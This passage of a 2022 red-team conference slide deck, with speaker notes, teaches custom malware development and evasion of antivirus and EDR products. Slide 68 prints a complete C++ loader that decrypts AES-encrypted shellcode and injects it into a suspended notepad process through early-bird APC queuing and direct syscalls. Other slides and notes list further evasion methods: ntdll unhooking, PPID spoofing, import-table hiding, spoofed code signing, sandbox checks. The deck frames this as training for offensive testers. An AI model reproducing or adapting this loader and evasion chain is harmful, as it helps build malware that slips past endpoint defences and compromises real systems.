- 65. 65 ▸ Avoiding theuse of hooked APIs ▸ Use uncommon/unsuspicious APIs or functions ▸ Patching the patch ▸ Restore the original instructions that was overwritten by AV/EDR ▸ DLL Unhooking ▸ Replace the DLL (e.g., ntdll.dll)in memory (tampered by AD/EDR) with a clean copy stored on disk ▸ Direct syscalls ▸ Invoke the API’s corresponding assembly code Bypassing Userland Hooks ©2022 IOActive, Inc. All rights reserved.
- 66. 66 ▸ JustasMasiulis/inline_syscall ▸ jthuraisamy/SysWhispers2 ▸klezVirus/SysWhispers3 ▸ hlldz/RefleXXion (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
- 67. 67 inline_syscall in Action Generatingstructs and typedefs ©2022 IOActive, Inc. All rights reserved. $ python3 syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread,NtResumeThread,NtClose -o syscalls . ,--. ,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. / `-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-' `-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `--- /| | @Jackson_T `-' ' @modexpblog, 2021 SysWhispers2: Why call the kernel when you can whisper? Complete! Files written to: syscalls.h syscalls.c syscallsstubs.x86.asm syscallsstubs.x86.nasm syscallsstubs.x86.s syscallsstubs.x64.asm syscallsstubs.x64.nasm syscallsstubs.x64.s TIP: Use SysWhispers2 to lessen the burden of getting the correct structs and typedefs.
- 68. 68 inline_syscall in Action ©2022IOActive, Inc. All rights reserved. #include <Windows.h> #include "structs/syscalls.h" #include "libs/aes.hpp” #include "libs/skCrypter.h” #include "libs/lazy_importer.hpp” #include "libs/in_memory_init.hpp" int main() { jm::init_syscalls_list(); // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi); LPVOID bufferAddr = NULL; INLINE_SYSCALL(NtAllocateVirtualMemory)(pi.hProcess, &bufferAddr, 0, &shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); INLINE_SYSCALL(NtWriteVirtualMemory)(pi.hProcess, bufferAddr, &shellcode, shellcodeSize, NULL); INLINE_SYSCALL(NtQueueApcThread)(pi.hThread, (PKNORMAL_ROUTINE)bufferAddr, bufferAddr, NULL, NULL); INLINE_SYSCALL(NtResumeThread)(pi.hThread, NULL); INLINE_SYSCALL(NtClose)(pi.hProcess); INLINE_SYSCALL(NtClose)(pi.hThread); } required Make sure to use LLVM (clang-cl) as the Platform Toolset
- 69. 69 inline_syscall in Action Runningthe updated Code ©2022 IOActive, Inc. All rights reserved. Make sure to use LLVM (clang-cl) as the Platform Toolset
- 70.
- 71. 71 ▸ Direct syscallsand native API functions (mostly) ▸ Import Address Table (IAT) evasion ▸ Encrypted payload (XOR and AES) ▸ Randomly generated key ▸ Automatic padding (if necessary) of payload with NOPS (x90) ▸ Byte-by-byte in-memory decryption of payload ▸ XOR-encrypted strings ▸ PPID spoofing ▸ Blocking of non-Microsoft-signed DLLs ▸ (Optional) Cloning of PE icon and attributes ▸ (Optional) Code signing with spoofed cert Features ©2022 IOActive, Inc. All rights reserved.
- 72. 72 1. Early-bird APCQueue (requires sacrificial process) 2. Thread Hijacking (requires sacrificial process) 3. KernelCallbackTable (requires sacrificial process that has a GUI) 4. Section View Mapping 5. Thread Suspension 6. LineDDA Callback 7. EnumSystemGeoID Callback 8. Fiber Local Storage (FLS) Callback 9. SetTimer 10.Clipboard Shellcode Execution Methods ©2022 IOActive, Inc. All rights reserved.
- 73. 73 ▸ kokke/tiny-AES-c ▸ skadro-official/skCrypter ▸JustasMasiulis/lazy_importer ▸ JustasMasiulis/inline_syscall Libraries Used ©2022 IOActive, Inc. All rights reserved.
- 74.
- 75. 75 ©2022 IOActive, Inc.All rights reserved.
- 76.
- 77. 77 Detection Rate ©2022 IOActive,Inc. All rights reserved. Make sure to use LLVM (clang-cl) as the Platform Toolset
- 78.
- 79. 79 PROs ▸ Will work(most of the time) right out of the box ▸ Easy to use ▸ Saves a lot of time ▸ Saves you from banging your head CONs ▸ Bigger binary due to unnecessary code ▸ No understanding of what is happening ▸ Libraries might be signatured already Pros & Cons of Using Libraries ©2022 IOActive, Inc. All rights reserved.
- 80. Where to Gofrom Here?
- 81. 81 Keep on Reading ©2022IOActive, Inc. All rights reserved.
- 82. 82 Take Courses ©2022 IOActive,Inc. All rights reserved.
- 83. 83 ▸ @C5pider ▸ @kyleavery_ ▸@GeKarantzas ▸ @0xBoku ▸ @trickster012 ▸ @s4ntiago_p ▸ @SolomonSklash ▸ @am0nsec ▸ @ilove2pwn_ ▸ @ORCA10K ▸ @rad9800 ▸ @modexpblog ▸ @peterwintrsmith ▸ @passthehashbrwn ▸ @x86matthew ▸ @namazso Follow these Folks (in no particular order) ©2022 IOActive, Inc. All rights reserved. ▸ @__mez0__ ▸ @mariuszbit ▸ @VirtualAllocEx ▸ @KlezVirus ▸ @diversenok_zero ▸ @NinjaParanoid ▸ @waldoirc ▸ @cerbersec
- 84. 84 Join the GameHacking Community ©2022 IOActive, Inc. All rights reserved.
- 85. 85 Join the GameHacking Community ©2022 IOActive, Inc. All rights reserved.
- 86.
Editor's Notes
- #7 By writing custom malware, just like APTs, red teams could provide more value to customers
- #8 Questions I asked before
- #10 WinAPI allows the interaction between an application and OS. For example, to display a message box, to get an input from a keyboard, and/or to start a process.
- #11 Hard to use since they are undocumented but important to understand as they help with evasion.
- #12 One of the documented Windows APIs for creating processes is CreateProcess(). Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call to CreateProcessInternal(), which is responsible for actually creating the user-mode process. CreateProcessInternal() then calls the undocumented and native API NtCreateUserProcess() (located in ntdll.dll) to shift to kernel-mode.
- #13 Examples of commonly used APIs by malware.
- #15 It is impossible to identify all malware that exists using static signatures because any change to a particular malware may bypass a particular signature, and perhaps even completely bypass the static engine.
- #16 Sandbox’s memory is limited and execution of code inside the sandbox is time-limited. Some malware checks for the presence of sandboxes/debuggers/virtualized environment. Number of CPU Memory size User interaction (mouse movement) Number of processes running Uptime
- #19 Are they well-documented? Are there libraries you could use to ease your coding? When malware is written in a new language, there is a need to create new signatures to detect different variants. For this project, we’ll use C/C++
- #20 Important thing is to think about opsec. We don’t want to send an exe via email. Will build an executable (.exe)
- #21 Will talk about process injection
- #22 If target process is whitelisted, then we can evade detection. If target process is running as admin, then our payload will run as admin. Tons of detection are implemented to detect process injection. Beware!
- #24 According to MITRE. Techniques have sub-techniques and have different variations and implementations.
- #25 Where to get sample PoCs as our base code? Sources provided are written in C/C++ since it’s the language of choice for this project.
- #30 We’ll create CPP project (.cpp file) since most headers used are written in cpp. But we’ll use C when writing the code since that’s the language used by the PoC/skeleton code.
- #32 Early Bird APC Queue Code Injection Spawn a process in a suspended state Allocate memory for shellcode Write/inject the shellcode on the allocated memory Queue the APC, which points to the shellcode address, to the main thread Resume the thread
- #34 Shellcode is indeed injected in notepad’s memory.
- #36 While obfuscation is a good thing, remember that obfuscation yields higher entropy and could be an indicator.
- #38 Will use AES to encrypt the shellcode
- #39 Not a comprehensive list.
- #40 Original shellcode length is 303. Adding NOP (\x90) makes the length to 304, which is a multiple of 16.
- #46 Character array cuts the string up in smaller pieces making them more difficult to extract from a binary. Can be done with shellcode as well.
- #47 A better approach is to store the key/iv in a separate file, fetch it from Internet source or use environment keying (e.g., DOMAIN NAME) as key.
- #50 Not a comprehensive list.
- #55 This shows the IAT of our base code and it show the functions that were imported from kernel32.dll
- #56 Not a comprehensive list.
- #58 Imported functions reduced from 21 to 15.
- #61 No header-only libraries were found but these resources contains source codes that can be used.
- #65 Hooking is now more commonly done in the latter (native API) because hooking on WinAPI is easier to bypass, by using directly the native API.
- #66 By disassembling the ntdll.dll file, it’s possible to get the assembler code for every single function contained. Instead of using functions from ntdll.dll at runtime, we call them directly with their corresponding assembler code.
- #67 Not a comprehensive list.
- #84 And many more. This is not a complete list.